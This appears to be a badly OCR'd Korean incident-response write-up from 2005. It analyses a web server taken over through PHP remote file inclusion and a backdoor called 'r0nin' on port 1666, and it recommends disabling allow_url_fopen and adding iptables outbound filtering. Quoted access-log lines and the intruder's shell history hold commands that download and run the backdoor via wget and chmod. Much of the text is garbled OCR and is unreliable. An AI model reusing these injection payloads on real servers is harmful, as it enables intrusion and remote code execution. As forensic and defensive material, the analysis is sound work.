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- default - S5H Secure Shell =117

File Edit Wiew Window Help
H Sa 0¥ e E &% &

£ Quick Connect ] Profiles
-bash-2.05h# l= -alc|more ki
total 364
drurw=rwt 15 root root 163584 Aug 31 15:03 .
Adru-r-xr-x 1% root root A095 Aug 1la 12:52 ..
[rwmr-nr-= 1 nobody  nobody 22225 hug 31 15:05 £3 |
Aru-r-xr-x 2 root haf Yoot 4096 Aug 30 Z0:26 kisa
dru—-——---- 2 root root 4096 Aug 31 04:11 logwatch.xXmEijjE
SEWH LW LT 1 tomboy mysSgl 0O aug 16 12:53 mysdgl.sock [
[-rwsrwm e 1 nobody  nobody 19250 Aug 30 06:23 rOnin |

bl

Connected to| | [SSHZ - aes128-chc - hrnac-mdG | 80x9 [ @ I =

o Onin(Y o] TZ )

&) B4 ZFA] 10nin TEIHL FEFEHIL JRNOH, 1666/TCP LEES 2J3ta U

A [ ol - S5H Secure Shell
e Edt Yew pPindow Help

H S e e & 50 % £\
&) Quick Conrect || Frafie:

=hidh=2. 055§ RECITAL =fap |ROTE
Acrive Inceensr congecticns (seEvecs abd edtablished|
PEotd Ricwes=] Jand=0 Local Addreas Foeaign AJEaES =11 PID/PEGGERE Elilg
EER 1] 0 0.0,0.0:%3 0.0.,0.0:+ LISTEN 23EL fuimmed
EER o @ 0.0,0.0:L&66 0.0,0.0:+ LISTEN L1207/ elein
|Ecp 1] o lsEE [ 1-6.LL:36803 EYN_RECY = |
w
Conneched i [ | S5H2 = aesl?B-cbe = hmac-mdS 1086 | FLIM

Onine FAA ] o3l A4E dFo WMo mzauozH, AAXNA leeeW LEZ [
A A4 AFH glo] A2 FoIRm Ach e AP HAE FolN AP Hoz
AR s A28 7% nobody BFH] Aol FAH A a0ning FEA AFOE 4 o)
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;:I Crick Correct | Profiss
[eoor@dl § hack]# . fcinim ™~
FeychoFfhobkas Esckdoor iz starting. . .0K, pid = 12454
[Coot@dl_L Thack]# teinet logalhost 1666
Teyieg 1T 0.0.1-..
Crmneccad o lecrlhape, loicnldosmain [127.0.0,.10-
Esoaps obaEacTEE 18 '],
Bhi-1.068 14
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wid=ljpnot)] gid=0irooc| groups=0irooc|  iibhim), 2 i(darsom)  J{eym] 4djeds) , Giidiak] 10
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[root@ns tmpl# netstat —na |grep 1666

tcp 0 0 0.0.0.0:1666 0.0.0.0: LISTEN

tcp 22 0 xxx.xxx.173.230:1666 XXX.XXX.239.56:2724 CLOSE_WAIT
tcp 11 0 Xxx.xxx.173.230:1666 XXX.XXX.239.56:1464 CLOSE_WAIT
tcp 22 0 xxx.xxx.173.230:1666 XXX.XXX.239.56:4158 CLOSE_WAIT
tcp 22 0 xxx.xxx.173.230:1666 XXX.XXX.239.56:2503 CLOSE_WAIT
tcp 22 0 Xxx.xxx.173.230:1666 XXX.XXX.239.56:2571 CLOSE_WAIT

[root@ns locall# Isof Igrep 1666
rOnin 11807 nobody 4u IPv4 1182076 TCP «1666 (LISTEN)

rOnin 11807  nobody 5u IPv4 1182583 TCP

ns.koreammi.com:1666—>xxx—xxx—239-56.dsl.xxx.net.br:1464 (CLOSE_WAIT)

032 tonin Z2 9] 3= RZH, A& B33 /var/tmp UIELE & HUHYEZZ A}
&3t AT AA 3] A|=EE] /var/tmp DHE ] FZAXE history ItPo] Fol AnoH,
A7l FAA} B3 2he BAEL ol gatel the Alzde) Au=ARFTAT EFo] Wb Ut
PsychoPhobia Backdoor is starting...

OK, pid = %d

/dev/null

fvarftmp

HOME=%s

Can't fork pty, bye!

/bin/sh
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= c-fault - SSH Secure Shell

File Edit “iew Window Help

H ek BE 2er Algn| % &

&1 Quick Connect ] Profiles

15:00:07.5814542 Lkr. 32768 = 4.114.19140: udp 0 (DF) i
153:00:07.814574 LEr. 32768 = 4.114.30034: udp 0 (DF)
15:00:07.814906 Lkr.32768 = 4.114.56412: udp 0 (DF)
15:00:07.814936 Lkr. 32768 = 4.114.6465: udp 0 (DF)
13:00:07.815082 LEr. 32768 - 4.114.15751: wudp 0 (DF)
13:00:07.815141 LEr 32768 - 4.114.55082: udp 0 (DF)
13:00:07.315173 LEr 32763 - 4.114.16087%: udp 0 (DF)
13:00:07.315203 Lr 32763 = 4.114.44754: udp 0 (DF)
13:00:07.315233 Lr 32763 = 4.114.24300: udp 0 (DF)
13:00:07.315460 LEr. 32763 > 4.114.63336: wudp 0 (DF)
13:00:07.315493 LHr. 32768 = 4.114.1538%: wudp 0 (DF)
13:00:07.815524 LHr. 327638 = 4.114.24061: wudp 0 (DF)
15:00:07.815555 LEr. 32768 = 4.114.43576: udp 0 (DF)
15:00:07.815585 Lkr.32768 = 4.114.55316: udp 0 (DF)
15:00:07.815851 Lkr.32768 = 4.114.24770: udp 0 (DF)
15:00:07.815892 LEr. 32768 = 4.114.152Y5: udp 0 (DF)
15:00:07.815939 LEr. 32768 - 4.114.34950: udp 0 (DF)
13:00:07.815983 LKEr. 32768 - 4.114.6251%: udp 0 (DF)
13:00:07.316131 Lr 32763 - 4.114.57502: udp 0 (DF)
13:00:07.316336 LEr 32763 = 4.114.6316: wudp 0 (DF) ;
13:00:07.316354 LEr 32763 = 4.114.52354: udp 0 (DF) B

Connected to| | S3HZ - aes128-che - hmac-mdh | 78421 @

=< /var/tmpdl Hol A= FAAE history W&, 35 ThrEEste] Hepdd &3H
EQIP F4E MUEARTAS 3 S ¢ 5 Uth
cd /tmp
wget
wget http://www.xxx.com/0/f3
chmod +x {3

J3 xxxxxx.201.78 1 20

JE3 xxx.xxx.183.107 1 200
JE3 xxx.xxx.247.243 1 300
JI3 xxxxxx.247.243 1 300
JE3 xxx.xxx.247.243 1 300
JE3 xxx.xxx.247.243 1 300

471 FAe] ©3 50Mbps ©]’de] Eefj o] wAys At
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e IP oA ARRE9] FFHS o] &3te] PHP Injection 32 <
S o] YR Fol AATH

victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:18:00 +0900] "GET
/obs//include/write.php?dir=http://carddever.xxx.com/cse.gif?7&cma=id HTTP/1.1” 200 2063
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:21:29 +0900] "GET
/bbs//include/write.php?dir=http://card4ever.xxx.com/cse.gif?&cmd=id HTTP/1.1” 200 2063
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET

/obs//include/write.php?dir=http://carddever.xxx.com/cse.qgif? &cmd=cd%20/tmp;wget%20http://www.fa
secolda.com/0/rOnin;chmod%204777%20r0nin;./rfOnin HTTP/1.1” 200 2066

victim.com-access_logixxx.xxx.239.56 - - [30/Aug/2005:10:44:23 +0900] "GET
/bbs//include/write.php?dir=http://card4ever.xxx.com/cse.gif?&cemd=id HTTP/1.1” 200 2063
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:14:47:26 +0900] "GET

/bbs//include/write.php?dir=http://card4ever.xxx.com/cse.gif?&cmd=id HTTP/1.1” 200 987
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A A TFE I e 9079 ¢ AllE F FAS B2 ) A|Ee HFHo] EAlShE
AZRE 41 pl 4 HAE AFE3IAL Ao, AW e PHP AA Yol allow_url_fopen=On 2.2 =
o o} FZFo] 7IsTh
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allow_url_fopen = Off

U, oA EA EHo|X T o Alo]EY AX 2

o SHY I S F S% AlelES] £ A6l WEA Bag FALA AT WA

3702
NG 75 A8kl A% A o AN e 3 ‘el @%x}wﬁa e
WasE o] A

o httpd.conf FgeA EA Foo)A =wl(dE

o] www.abc.cokr)oll T3 #e A
F7hgh

<VirtualHost www.abc.co.kr>
ServerAdmin webmaster@abc.co.kr
DocumentRoot /home/abc/public_html
ServerName www.abc.co.kr

php_admin_flag allow_url_fopen On
<NNVirtualHost>

- M Z &= : http://www.nzeo.com/
- D% 2= : http://sir.co.kr/

- KorWeblog : http://kidp.net/
phpBB : http://www.phpbb.com/

2}. Outbound E & A5 AA

o WY e HRY T, E

5, AEs HAAAS 3 38 HAYAGA L E o] &3t
Inbound/Outbound EH & #|3H3ic}

¥ 2lsA HEolME iptables tE= ipchains & L XIHA|ARIO] J[2X o

2MoZ M= Y20,
iptables A& E=+¢Ql oops LOIHEE &8 7=

- ipchains : http://doc.kldp.org/Translations/IPCHAINS-HOWTO

http:/ /wiki.kldp.org/wiki.php/LinuxdocSgml/Packet%5FFiltering-TRANS

- oops firewall : http://www.oops.org/ ?t=lecture&sb=firewall&n=1

>

- iptables :
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o U2 iptabless ARS-3te] F 3 o)A Aol x

q 9% A"l o 2 9] OQutbound E TS A%
gt o Alojtt. 714 Outbound Edf T F WrEA] a3t B2 F429 ¢ J&EUS 58
St AL 9 AolE L2dd F oS ol &% T4S AWste 2R Aok

iptables —A OUTPUT -p tcp -d 1.2.3.4 ——destination-port 80 -j ACCEPT
— Qutbound EellZ & 12342 &st= o &L 5

iptables ~A OUTPUT -p tcp —-d 0/0 ——destination-port 22 —-j ACCEPT
— Qutbound EeilZ & SSH EzfZ= 32

iptables -A OUTPUT -d 0/0 -j DROP
— 2= Qutbound Efi= Xt
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